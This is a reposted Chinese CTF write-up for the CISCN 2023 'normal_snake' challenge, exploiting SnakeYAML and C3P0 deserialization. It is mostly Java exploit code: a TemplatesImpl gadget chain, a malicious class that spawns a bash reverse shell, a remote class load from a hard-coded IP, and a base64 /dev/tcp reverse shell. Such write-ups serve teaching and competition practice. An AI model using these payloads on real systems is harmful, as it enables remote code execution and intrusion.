[CISCN 2023 华北]normal_snake
[CISCN 2023 华北]normal_snake
源码和依赖
算了直接说吧,不想截图了,就多了一个C3P0和yaml的依赖
然后read路由可以反序列化yaml的Str
我们看到waf
那个String是可以二次反序列化绕过的,然后CUSTOM_STRING1解码后是"BadAttributeValuePairException",CUSTOM_STRING2解码后是"HotSwapableSource"。就是禁用了这两个去hook toString’的类
然后思路就是C3P0的二次反序列化打
一开始我的思路是以为不能出网,直接二次反序列化打的字节码加载,首先通过yaml反序列化调用set方法触发
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject
调用这条链是很容易的,然后就是hex字节码部分,一开始选择的是jackson的原生链,以为也没有其他的依赖了
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
public class Poc0 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
//利用 JdkDynamicAopProxy 进行封装使其稳定触发
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(res);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
但是有BadAttributeValueExpException在黑名单,然后想其他hook到Tostring的方法也找不到
所以选择放弃,看wp
发现是出网的,只需要打URL远程类加载就好了其实,首先是我们的恶意文件,是看的别人的
public class evil {
private static final long serialVersionUID = 1593252632163539756L;
static{
String string = "calc";
String[] commands = null;
String command = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
commands = new String[]{"cmd", "/c", string};
} else {
command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}";
}
try {
//Runtime.getRuntime().exec(commands);
Runtime.getRuntime().exec(command);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
打URL类加载
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_yaml {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("evil","evil","http://49.232.222.195:9999/");
// ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
// resourceRef.add(new StringRefAddr("forceString", "x=eval"));
// resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
// return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
C3P0 c3P0=new C3P0();
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
System.out.println(poc);
// Yaml yaml=new Yaml();
// yaml.load(poc);
// byte[] result=serialize(poolBackedDataSourceBase);
// unserialize(result);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(object);
outputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void unserialize(byte[] s) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static String byteArrayToHexString(byte[] byteArray) {
StringBuilder sb = new StringBuilder();
for (byte b : byteArray) {
sb.append(String.format("%02X", b));
}
return sb.toString();
}
}
简单说一次,其实就是hex加载的paylaod里面套一个url加载的
然后还有一个!!的绕过其实也不难,!tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource就好了
然后就是在自己服务器上放这个文件,开打
后面就不记录了,因为不知道为什么没有打成功
原文地址:https://blog.csdn.net/2301_79724395/article/details/140384298
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!